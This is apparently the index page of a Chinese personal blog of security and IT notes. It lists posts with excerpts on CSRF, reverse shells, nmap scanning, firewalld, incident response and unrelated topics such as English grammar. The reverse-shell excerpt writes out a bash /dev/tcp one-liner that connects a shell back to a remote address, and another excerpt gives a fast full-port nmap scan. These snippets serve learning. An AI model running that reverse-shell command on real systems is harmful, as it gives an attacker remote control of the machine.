我的梦想
不是每个人都应该像我这样去建造一座水晶大教堂,但是每个人都应该拥有自己的梦想,设计自己的梦想,追求自己的梦想,实现自己的梦想。梦想是生命的灵魂,是心灵的灯塔,是引导人走向成功的信仰。有了崇高的梦想,只要矢志不渝地追求,梦想就会成为现实,奋斗就会变成壮举,生命就会创造奇迹。——罗伯·舒乐
web安全之csrf web安全之csrf
1.csrf介绍跨站点请求伪造(Cross Site Request Forgery)被称作 CSRF。CSRF的其他称呼CSRF 也被称作 XSRF,会话叠置(Session Riding),跨站点引用伪造(Cross-Site Refe
2024-01-29 chens
输入输出重定向 输入输出重定向
重定向的概念 https://www.gnu.org/software/bash/manual/html_node/Redirections.html 在执行命令之前,可以使用Shell解释的特殊符号重定向其输入和输出。重定向允许复制、打
2023-10-23 chens
反弹shell 反弹shell
cmd& 和||前后的命令无论真假都全部执行&&和|前命令为真,后命令才执行 反弹shellbash -i >& /dev/tcp/192.168.10.136/5555 0>&1 这段代码是一个
2023-04-24 chens
内网借助外网机器访问外网 内网借助外网机器访问外网
linux普通用户密钥登录放在普通用户的目录里面 内网主机通过防火墙转发借助可以访问外网的内网主机访问外网两台VMware虚拟机,都是centos7.6。 外网主机ip:192.168.80.10,192.168.10.138 内网主机ip
2023-03-29 chens
javascript 函数表达式 javascript 函数表达式
window 网络配置 网关“在链路上”表示直接发送给目标,而不需要经过路由器(指路由表的网关IP和IF参数对应的接口的IP是一样的) javascript 函数表达式使用函数表达式,并将 welcome 赋值给在 if 外声明的变量,并
2023-03-27 chens
firewall教程 firewall教程
firewall查看服务的状态firewall-cmd --state 永久配置存储位置firewall的每个区域的永久配置存储在/usr/lib/firewalld/zones/ 目录中
2023-03-21 chens
nmap优化扫描效率 nmap优化扫描效率
nmap 快速端口扫描nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p1-65535 -oG result
2023-03-13 chens
windows命令 windows命令
secpol.msc “本地安全策略编辑器” lsass.exe “Local Security Authority Service本地安全权限服务” 方括号中的字符串要放在引号中,单引号或双引号都可以。没有引号就是在访问变量
2023-03-10 chens
excel 按ip排序 excel 按ip排序
excel 按ip排序excel方式=SUMPRODUCT(MID(SUBSTITUTE(B2,".",REPT(" ",20)),{1,21,41,61},20)*10
2023-03-03 chens
实战化白帽人才能力各项技能详解 实战化白帽人才能力各项技能详解
实战化白帽人才能力各项技能详解一、 基础能力基础能力是比较初级的实战化白帽能力,学习和掌握相对容易,通常也是其他各类高级实战化技能学习和实践的基础能力。基础能力主要包括Web漏洞利用与基础安全工具使用两类。 (一) Web漏洞利用Web漏
2022-11-08 chens
宾语从句的五种形式 宾语从句的五种形式
宾语从句一共有 5 中形式 介宾介宾一般是出现在不及物动词中,当不及物动词后跟了宾语,又将宾语扩展成从句时,那么这个从句就叫做介词宾语从句。S + Vi +介词 + O例:I think of what I can do. 动宾动宾又分为
2022-09-13 chens
linux应急响应 linux应急响应
1. 账户安全先查看基础用户信息文件(/etc/passwd,/etc/shadow,/etc/group) /etc/shadow 字段说明 登录名:加密口
2022-04-07 chens
1 / 2